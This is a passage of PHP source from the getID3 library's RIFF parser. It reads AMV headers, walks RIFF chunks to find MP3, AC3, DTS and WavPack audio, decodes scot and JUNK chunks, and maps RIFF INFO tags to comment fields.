			$RIFFchunk['amvh']['us_per_frame']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  12,  4));
			$RIFFchunk['amvh']['reserved28']     =                              substr($AMVheader,  16, 28);  // null? reserved?
			$RIFFchunk['amvh']['resolution_x']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  44,  4));
			$RIFFchunk['amvh']['resolution_y']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  48,  4));
			$RIFFchunk['amvh']['frame_rate_int'] = getid3_lib::LittleEndian2Int(substr($AMVheader,  52,  4));
			$RIFFchunk['amvh']['reserved0']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  56,  4)); // 1? reserved?
			$RIFFchunk['amvh']['reserved1']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  60,  4)); // 0? reserved?
			$RIFFchunk['amvh']['runtime_sec']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  64,  1));
			$RIFFchunk['amvh']['runtime_min']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  65,  1));
			$RIFFchunk['amvh']['runtime_hrs']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  66,  2));

			$info['video']['frame_rate']   = 1000000 / $RIFFchunk['amvh']['us_per_frame'];
			$info['video']['resolution_x'] = $RIFFchunk['amvh']['resolution_x'];
			$info['video']['resolution_y'] = $RIFFchunk['amvh']['resolution_y'];
			$info['playtime_seconds']      = ($RIFFchunk['amvh']['runtime_hrs'] * 3600) + ($RIFFchunk['amvh']['runtime_min'] * 60) + $RIFFchunk['amvh']['runtime_sec'];

			// the rest is all hardcoded(?) and does not appear to be useful until you get to audio info at offset 256, even then everything is probably hardcoded

			if (substr($AMVheader,  68, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x38\x00\x00\x00") {
				throw new Exception('expecting "LIST<0x00000000>strlstrh<0x38000000>" at offset '.($startoffset +  68).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader,  68, 20)).'"');
			}
			// followed by 56 bytes of null: substr($AMVheader,  88, 56) -> 144
			if (substr($AMVheader, 144,  8) != 'strf'."\x24\x00\x00\x00") {
				throw new Exception('expecting "strf<0x24000000>" at offset '.($startoffset + 144).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 144,  8)).'"');
			}
			// followed by 36 bytes of null: substr($AMVheader, 144, 36) -> 180

			if (substr($AMVheader, 188, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x30\x00\x00\x00") {
				throw new Exception('expecting "LIST<0x00000000>strlstrh<0x30000000>" at offset '.($startoffset + 188).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 188, 20)).'"');
			}
			// followed by 48 bytes of null: substr($AMVheader, 208, 48) -> 256
			if (substr($AMVheader, 256,  8) != 'strf'."\x14\x00\x00\x00") {
				throw new Exception('expecting "strf<0x14000000>" at offset '.($startoffset + 256).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 256,  8)).'"');
			}
			// followed by 20 bytes of a modified WAVEFORMATEX:
			// typedef struct {
			// WORD wFormatTag;       //(Fixme: this is equal to PCM's 0x01 format code)
			// WORD nChannels;        //(Fixme: this is always 1)
			// DWORD nSamplesPerSec;  //(Fixme: for all known sample files this is equal to 22050)
			// DWORD nAvgBytesPerSec; //(Fixme: for all known sample files this is equal to 44100)
			// WORD nBlockAlign;      //(Fixme: this seems to be 2 in AMV files, is this correct ?)
			// WORD wBitsPerSample;   //(Fixme: this seems to be 16 in AMV files instead of the expected 4)
			// WORD cbSize;           //(Fixme: this seems to be 0 in AMV files)
			// WORD reserved;
			// } WAVEFORMATEX;
			$RIFFchunk['strf']['wformattag']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  264,  2));
			$RIFFchunk['strf']['nchannels']       = getid3_lib::LittleEndian2Int(substr($AMVheader,  266,  2));
			$RIFFchunk['strf']['nsamplespersec']  = getid3_lib::LittleEndian2Int(substr($AMVheader,  268,  4));
			$RIFFchunk['strf']['navgbytespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader,  272,  4));
			$RIFFchunk['strf']['nblockalign']     = getid3_lib::LittleEndian2Int(substr($AMVheader,  276,  2));
			$RIFFchunk['strf']['wbitspersample']  = getid3_lib::LittleEndian2Int(substr($AMVheader,  278,  2));
			$RIFFchunk['strf']['cbsize']          = getid3_lib::LittleEndian2Int(substr($AMVheader,  280,  2));
			$RIFFchunk['strf']['reserved']        = getid3_lib::LittleEndian2Int(substr($AMVheader,  282,  2));


			$info['audio']['lossless']        = false;
			$info['audio']['sample_rate']     = $RIFFchunk['strf']['nsamplespersec'];
			$info['audio']['channels']        = $RIFFchunk['strf']['nchannels'];
			$info['audio']['bits_per_sample'] = $RIFFchunk['strf']['wbitspersample'];
			$info['audio']['bitrate']         = $info['audio']['sample_rate'] * $info['audio']['channels'] * $info['audio']['bits_per_sample'];
			$info['audio']['bitrate_mode']    = 'cbr';


		} catch (getid3_exception $e) {
			if ($e->getCode() == 10) {
				$this->warning('RIFFAMV parser: '.$e->getMessage());
			} else {
				throw $e;
			}
		}

		return $RIFFchunk;
	}

	/**
	 * @param int $startoffset
	 * @param int $maxoffset
	 *
	 * @return array|false
	 * @throws getid3_exception
	 */
	public function ParseRIFF($startoffset, $maxoffset) {
		$info = &$this->getid3->info;

		$RIFFchunk = array();
		$FoundAllChunksWeNeed = false;
		$LISTchunkParent = null;
		$LISTchunkMaxOffset = null;
		$AC3syncwordBytes = pack('n', getid3_ac3::syncword); // 0x0B77 -> "\x0B\x77"

		try {
			$this->fseek($startoffset);
			$maxoffset = min($maxoffset, $info['avdataend']);
			while ($this->ftell() < $maxoffset) {
				$chunknamesize = $this->fread(8);
				//$chunkname =                          substr($chunknamesize, 0, 4);
				$chunkname = str_replace("\x00", '_', substr($chunknamesize, 0, 4));  // note: chunk names of 4 null bytes do appear to be legal (has been observed inside INFO and PRMI chunks, for example), but makes traversing array keys more difficult
				$chunksize =  $this->EitherEndian2Int(substr($chunknamesize, 4, 4));
				//if (strlen(trim($chunkname, "\x00")) < 4) {
				if (strlen($chunkname) < 4) {
					$this->error('Expecting chunk name at offset '.($this->ftell() - 8).' but found nothing. Aborting RIFF parsing.');
					break;
				}
				if ($chunksize == 0) {
					if ($chunkname == 'JUNK') {
						// this is allowed
					} elseif ($chunkname == 'data') {
						// https://github.com/JamesHeinrich/getID3/issues/468
						// may occur in streaming files where the data size is unknown
						$chunksize = $info['avdataend'] - $this->ftell();
						$this->warning('RIFF.data size field is empty, assuming the correct value is filesize-offset ('.$chunksize.')');
					} else {
						$this->warning('Chunk ('.$chunkname.') size at offset '.($this->ftell() - 4).' is zero. Aborting RIFF parsing.');
						break;
					}
				}
				if (($chunksize % 2) != 0) {
					// all structures are packed on word boundaries
					$chunksize++;
				}

				switch ($chunkname) {
					case 'LIST':
						$listname = $this->fread(4);
						if (preg_match('#^(movi|rec )$#i', $listname)) {
							$RIFFchunk[$listname]['offset'] = $this->ftell() - 4;
							$RIFFchunk[$listname]['size']   = $chunksize;

							if (!$FoundAllChunksWeNeed) {
								$WhereWeWere      = $this->ftell();
								$AudioChunkHeader = $this->fread(12);
								$AudioChunkStreamNum  =                              substr($AudioChunkHeader, 0, 2);
								$AudioChunkStreamType =                              substr($AudioChunkHeader, 2, 2);
								$AudioChunkSize       = getid3_lib::LittleEndian2Int(substr($AudioChunkHeader, 4, 4));

								if ($AudioChunkStreamType == 'wb') {
									$FirstFourBytes = substr($AudioChunkHeader, 8, 4);
									if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', $FirstFourBytes)) {
										// MP3
										if (getid3_mp3::MPEGaudioHeaderBytesValid($FirstFourBytes)) {
											$getid3_temp = new getID3();
											$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
											$getid3_temp->info['avdataoffset'] = $this->ftell() - 4;
											$getid3_temp->info['avdataend']    = $this->ftell() + $AudioChunkSize;
											$getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__);
											$getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false);
											if (isset($getid3_temp->info['mpeg']['audio'])) {
												$info['mpeg']['audio']         = $getid3_temp->info['mpeg']['audio'];
												$info['audio']                 = $getid3_temp->info['audio'];
												$info['audio']['dataformat']   = 'mp'.$info['mpeg']['audio']['layer'];
												$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
												$info['audio']['channels']     = $info['mpeg']['audio']['channels'];
												$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
												$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
												//$info['bitrate']               = $info['audio']['bitrate'];
											}
											unset($getid3_temp, $getid3_mp3);
										}

									} elseif (strpos($FirstFourBytes, $AC3syncwordBytes) === 0) {
										// AC3
										$getid3_temp = new getID3();
										$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
										$getid3_temp->info['avdataoffset'] = $this->ftell() - 4;
										$getid3_temp->info['avdataend']    = $this->ftell() + $AudioChunkSize;
										$getid3_ac3 = new getid3_ac3($getid3_temp);
										$getid3_ac3->Analyze();
										if (empty($getid3_temp->info['error'])) {
											$info['audio']   = $getid3_temp->info['audio'];
											$info['ac3']     = $getid3_temp->info['ac3'];
											if (!empty($getid3_temp->info['warning'])) {
												foreach ($getid3_temp->info['warning'] as $key => $value) {
													$this->warning($value);
												}
											}
										}
										unset($getid3_temp, $getid3_ac3);
									}
								}
								$FoundAllChunksWeNeed = true;
								$this->fseek($WhereWeWere);
							}
							$this->fseek($chunksize - 4, SEEK_CUR);

						} else {

							if (!isset($RIFFchunk[$listname])) {
								$RIFFchunk[$listname] = array();
							}
							$LISTchunkParent    = $listname;
							$LISTchunkMaxOffset = $this->ftell() - 4 + $chunksize;
							if ($parsedChunk = $this->ParseRIFF($this->ftell(), $LISTchunkMaxOffset)) {
								$RIFFchunk[$listname] = array_merge_recursive($RIFFchunk[$listname], $parsedChunk);
							}

						}
						break;

					default:
						if (preg_match('#^[0-9]{2}(wb|pc|dc|db)$#', $chunkname)) {
							$this->fseek($chunksize, SEEK_CUR);
							break;
						}
						$thisindex = 0;
						if (isset($RIFFchunk[$chunkname])) {
							$thisindex = count($RIFFchunk[$chunkname]);
						}
						$RIFFchunk[$chunkname][$thisindex]['offset'] = $this->ftell() - 8;
						$RIFFchunk[$chunkname][$thisindex]['size']   = $chunksize;
						switch ($chunkname) {
							case 'data':
								$info['avdataoffset'] = $this->ftell();
								$info['avdataend']    = $info['avdataoffset'] + $chunksize;

								$testData = $this->fread(36);
								if ($testData === '') {
									break;
								}
								if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', substr($testData, 0, 4))) {

									// Probably is MP3 data
									if (getid3_mp3::MPEGaudioHeaderBytesValid(substr($testData, 0, 4))) {
										$getid3_temp = new getID3();
										$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
										$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
										$getid3_temp->info['avdataend']    = $info['avdataend'];
										$getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__);
										$getid3_mp3->getOnlyMPEGaudioInfo($info['avdataoffset'], false);
										if (empty($getid3_temp->info['error'])) {
											$info['audio'] = $getid3_temp->info['audio'];
											$info['mpeg']  = $getid3_temp->info['mpeg'];
										}
										unset($getid3_temp, $getid3_mp3);
									}

								} elseif (($isRegularAC3 = (substr($testData, 0, 2) == $AC3syncwordBytes)) || substr($testData, 8, 2) == strrev($AC3syncwordBytes)) {

									// This is probably AC-3 data
									$getid3_temp = new getID3();
									if ($isRegularAC3) {
										$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
										$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
										$getid3_temp->info['avdataend']    = $info['avdataend'];
									}
									$getid3_ac3 = new getid3_ac3($getid3_temp);
									if ($isRegularAC3) {
										$getid3_ac3->Analyze();
									} else {
										// Dolby Digital WAV
										// AC-3 content, but not encoded in same format as normal AC-3 file
										// For one thing, byte order is swapped
										$ac3_data = '';
										for ($i = 0; $i < 28; $i += 2) {
											$ac3_data .= substr($testData, 8 + $i + 1, 1);
											$ac3_data .= substr($testData, 8 + $i + 0, 1);
										}
										$getid3_ac3->getid3->info['avdataoffset'] = 0;
										$getid3_ac3->getid3->info['avdataend']    = strlen($ac3_data);
										$getid3_ac3->AnalyzeString($ac3_data);
									}

									if (empty($getid3_temp->info['error'])) {
										$info['audio'] = $getid3_temp->info['audio'];
										$info['ac3']   = $getid3_temp->info['ac3'];
										if (!empty($getid3_temp->info['warning'])) {
											foreach ($getid3_temp->info['warning'] as $newerror) {
												$this->warning('getid3_ac3() says: ['.$newerror.']');
											}
										}
									}
									unset($getid3_temp, $getid3_ac3);

								} elseif (preg_match('/^('.implode('|', array_map('preg_quote', getid3_dts::$syncwords)).')/', $testData)) {

									// This is probably DTS data
									$getid3_temp = new getID3();
									$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
									$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
									$getid3_dts = new getid3_dts($getid3_temp);
									$getid3_dts->Analyze();
									if (empty($getid3_temp->info['error'])) {
										$info['audio']            = $getid3_temp->info['audio'];
										$info['dts']              = $getid3_temp->info['dts'];
										$info['playtime_seconds'] = $getid3_temp->info['playtime_seconds']; // may not match RIFF calculations since DTS-WAV often used 14/16 bit-word packing
										if (!empty($getid3_temp->info['warning'])) {
											foreach ($getid3_temp->info['warning'] as $newerror) {
												$this->warning('getid3_dts() says: ['.$newerror.']');
											}
										}
									}

									unset($getid3_temp, $getid3_dts);

								} elseif (substr($testData, 0, 4) == 'wvpk') {

									// This is WavPack data
									$info['wavpack']['offset'] = $info['avdataoffset'];
									$info['wavpack']['size']   = getid3_lib::LittleEndian2Int(substr($testData, 4, 4));
									$this->parseWavPackHeader(substr($testData, 8, 28));

								} else {
									// This is some other kind of data (quite possibly just PCM)
									// do nothing special, just skip it
								}
								$nextoffset = $info['avdataend'];
								$this->fseek($nextoffset);
								break;

							case 'iXML':
							case 'bext':
							case 'cart':
							case 'fmt ':
							case 'strh':
							case 'strf':
							case 'indx':
							case 'MEXT':
							case 'DISP':
							case 'wamd':
							case 'guan':
								// always read data in
							case 'JUNK':
								// should be: never read data in
								// but some programs write their version strings in a JUNK chunk (e.g. VirtualDub, AVIdemux, etc)
								if ($chunksize < 1048576) {
									if ($chunksize > 0) {
										$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
										if ($chunkname == 'JUNK') {
											if (preg_match('#^([\\x20-\\x7F]+)#', $RIFFchunk[$chunkname][$thisindex]['data'], $matches)) {
												// only keep text characters [chr(32)-chr(127)]
												$info['riff']['comments']['junk'][] = trim($matches[1]);
											}
											// but if nothing there, ignore
											// remove the key in either case
											unset($RIFFchunk[$chunkname][$thisindex]['data']);
										}
									}
								} else {
									$this->warning('Chunk "'.$chunkname.'" at offset '.$this->ftell().' is unexpectedly larger than 1MB (claims to be '.number_format($chunksize).' bytes), skipping data');
									$this->fseek($chunksize, SEEK_CUR);
								}
								break;

							//case 'IDVX':
							//	$info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunksize));
							//	break;

							case 'scot':
								// https://cmsdk.com/node-js/adding-scot-chunk-to-wav-file.html
								$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['alter']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],   0,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['attrib']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],   1,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['artnum']          = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],   2,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['title']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],   4,  43);  // "name" in other documentation
								$RIFFchunk[$chunkname][$thisindex]['parsed']['copy']            =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  47,   4);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['padd']            =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  51,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['asclen']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  52,   5);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['startseconds']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  57,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['starthundredths'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  59,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['endseconds']      = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  61,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['endhundreths']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  63,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['sdate']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  65,   6);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['kdate']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  71,   6);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['start_hr']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  77,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['kill_hr']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  78,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['digital']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  79,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['sample_rate']     = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  80,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['stereo']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  82,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['compress']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  83,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['eomstrt']         = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  84,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['eomlen']          = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  88,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['attrib2']         = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  90,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['future1']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  94,  12);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['catfontcolor']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 106,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['catcolor']        = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 110,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['segeompos']       = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 114,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['vt_startsecs']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 118,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['vt_starthunds']   = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 120,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['priorcat']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 122,   3);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['priorcopy']       =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 125,   4);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['priorpadd']       =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 129,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['postcat']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 130,   3);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['postcopy']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 133,   4);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['postpadd']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 137,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['hrcanplay']       =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 138,  21);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['future2']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 159, 108);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['artist']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 267,  34);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['comment']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 301,  34); // "trivia" in other documentation
								$RIFFchunk[$chunkname][$thisindex]['parsed']['intro']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 335,   2);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['end']             =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 337,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['year']            =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 338,   4);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['obsolete2']       =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 342,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['rec_hr']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 343,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['rdate']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 344,   6);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['mpeg_bitrate']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 350,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['pitch']           = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 352,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['playlevel']       = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 354,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['lenvalid']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 356,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['filelength']      = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 357,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['newplaylevel']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 361,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['chopsize']        = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 363,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['vteomovr']        = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 367,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['desiredlen']      = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 371,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['triggers']        = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 375,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['fillout']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 379,   33);

								foreach (array('title', 'artist', 'comment') as $key) {
									if (trim($RIFFchunk[$chunkname][$thisindex]['parsed'][$key])) {
										$info['riff']['comments'][$key] = array($RIFFchunk[$chunkname][$thisindex]['parsed'][$key]);
									}
								}
								if ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] && !empty($info['filesize']) && ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] != $info['filesize'])) {
									$this->warning('RIFF.WAVE.scot.filelength ('.$RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'].') different from actual filesize ('.$info['filesize'].')');
								}
								break;

							default:
								if (!empty($LISTchunkParent) && isset($LISTchunkMaxOffset) && (($RIFFchunk[$chunkname][$thisindex]['offset'] + $RIFFchunk[$chunkname][$thisindex]['size']) <= $LISTchunkMaxOffset)) {
									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['offset'] = $RIFFchunk[$chunkname][$thisindex]['offset'];
									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['size']   = $RIFFchunk[$chunkname][$thisindex]['size'];
									unset($RIFFchunk[$chunkname][$thisindex]['offset']);
									unset($RIFFchunk[$chunkname][$thisindex]['size']);
									if (isset($RIFFchunk[$chunkname][$thisindex]) && empty($RIFFchunk[$chunkname][$thisindex])) {
										unset($RIFFchunk[$chunkname][$thisindex]);
									}
									if (count($RIFFchunk[$chunkname]) === 0) {
										unset($RIFFchunk[$chunkname]);
									}
									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['data'] = $this->fread($chunksize);
								} elseif ($chunksize < 2048) {
									// only read data in if smaller than 2kB
									$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
								} else {
									$this->fseek($chunksize, SEEK_CUR);
								}
								break;
						}
						break;
				}
			}

		} catch (getid3_exception $e) {
			if ($e->getCode() == 10) {
				$this->warning('RIFF parser: '.$e->getMessage());
			} else {
				throw $e;
			}
		}

		return !empty($RIFFchunk) ? $RIFFchunk : false;
	}

	/**
	 * @param string $RIFFdata
	 *
	 * @return bool
	 */
	public function ParseRIFFdata(&$RIFFdata) {
		$info = &$this->getid3->info;
		if ($RIFFdata) {
			$tempfile = tempnam(GETID3_TEMP_DIR, 'getID3');
			$fp_temp  = fopen($tempfile, 'wb');
			$RIFFdataLength = strlen($RIFFdata);
			$NewLengthString = getid3_lib::LittleEndian2String($RIFFdataLength, 4);
			for ($i = 0; $i < 4; $i++) {
				$RIFFdata[($i + 4)] = $NewLengthString[$i];
			}
			fwrite($fp_temp, $RIFFdata);
			fclose($fp_temp);

			$getid3_temp = new getID3();
			$getid3_temp->openfile($tempfile);
			$getid3_temp->info['filesize']     = $RIFFdataLength;
			$getid3_temp->info['filenamepath'] = $info['filenamepath'];
			$getid3_temp->info['tags']         = $info['tags'];
			$getid3_temp->info['warning']      = $info['warning'];
			$getid3_temp->info['error']        = $info['error'];
			$getid3_temp->info['comments']     = $info['comments'];
			$getid3_temp->info['audio']        = (isset($info['audio']) ? $info['audio'] : array());
			$getid3_temp->info['video']        = (isset($info['video']) ? $info['video'] : array());
			$getid3_riff = new getid3_riff($getid3_temp);
			$getid3_riff->Analyze();

			$info['riff']     = $getid3_temp->info['riff'];
			$info['warning']  = $getid3_temp->info['warning'];
			$info['error']    = $getid3_temp->info['error'];
			$info['tags']     = $getid3_temp->info['tags'];
			$info['comments'] = $getid3_temp->info['comments'];
			unset($getid3_riff, $getid3_temp);
			unlink($tempfile);
		}
		return false;
	}

	/**
	 * @param array $RIFFinfoArray
	 * @param array $CommentsTargetArray
	 *
	 * @return bool
	 */
	public static function parseComments(&$RIFFinfoArray, &$CommentsTargetArray) {
		$RIFFinfoKeyLookup = array(
			'IARL'=>'archivallocation',
			'IART'=>'artist',
			'ICDS'=>'costumedesigner',
			'ICMS'=>'commissionedby',
			'ICMT'=>'comment',
			'ICNT'=>'country',
			'ICOP'=>'copyright',
			'ICRD'=>'creationdate',
			'IDIM'=>'dimensions',
			'IDIT'=>'digitizationdate',
			'IDPI'=>'resolution',
			'IDST'=>'distributor',
			'IEDT'=>'editor',
			'IENG'=>'engineers',
			'IFRM'=>'accountofparts',
			'IGNR'=>'genre',
			'IKEY'=>'keywords',
			'ILGT'=>'lightness',
			'ILNG'=>'language',
			'IMED'=>'orignalmedium',
			'IMUS'=>'composer',
			'INAM'=>'title',
			'IPDS'=>'productiondesigner',
			'IPLT'=>'palette',
			'IPRD'=>'product',
			'IPRO'=>'producer',
			'IPRT'=>'part',
			'IRTD'=>'rating',
			'ISBJ'=>'subject',
			'ISFT'=>'software',
			'ISGN'=>'secondarygenre',
			'ISHP'=>'sharpness',
			'ISRC'=>'sourcesupplier',
			'ISRF'=>'digitizationsource',
			'ISTD'=>'productionstudio',
			'ISTR'=>'starring',
			'ITCH'=>'encoded_by',
			'IWEB'=>'url',
			'IWRI'=>'writer',
			'____'=>'comment',
		);
		foreach ($RIFFinfoKeyLookup as $key => $value) {
			if (isset($RIFFinfoArray[$key])) {
				foreach ($RIFFinfoArray[$key] as $commentid => $commentdata) {
					if (!empty($commentdata['data']) && trim($commentdata['data']) != '') {
						if (isset($CommentsTargetArray[$value])) {
							$CommentsTargetArray[$value][] =     trim($commentdata['data']);
						} else {
							$CommentsTargetArray[$value] = array(trim($commentdata['data']));
						}
					}
				}
			}
		}
		return true;
	}

	/**
	 * @param string $WaveFormatExData
	 *
	 * @return array
	 */
	public static function parseWAVEFORMATex($WaveFormatExData) {
		// shortcut
		$WaveFormatEx        = array();
		$WaveFormatEx['raw'] = array();
		$WaveFormatEx_raw    = &$WaveFormatEx['raw'];

		$WaveFormatEx_raw['wFormatTag']      = substr($WaveFormatExData,  0, 2);
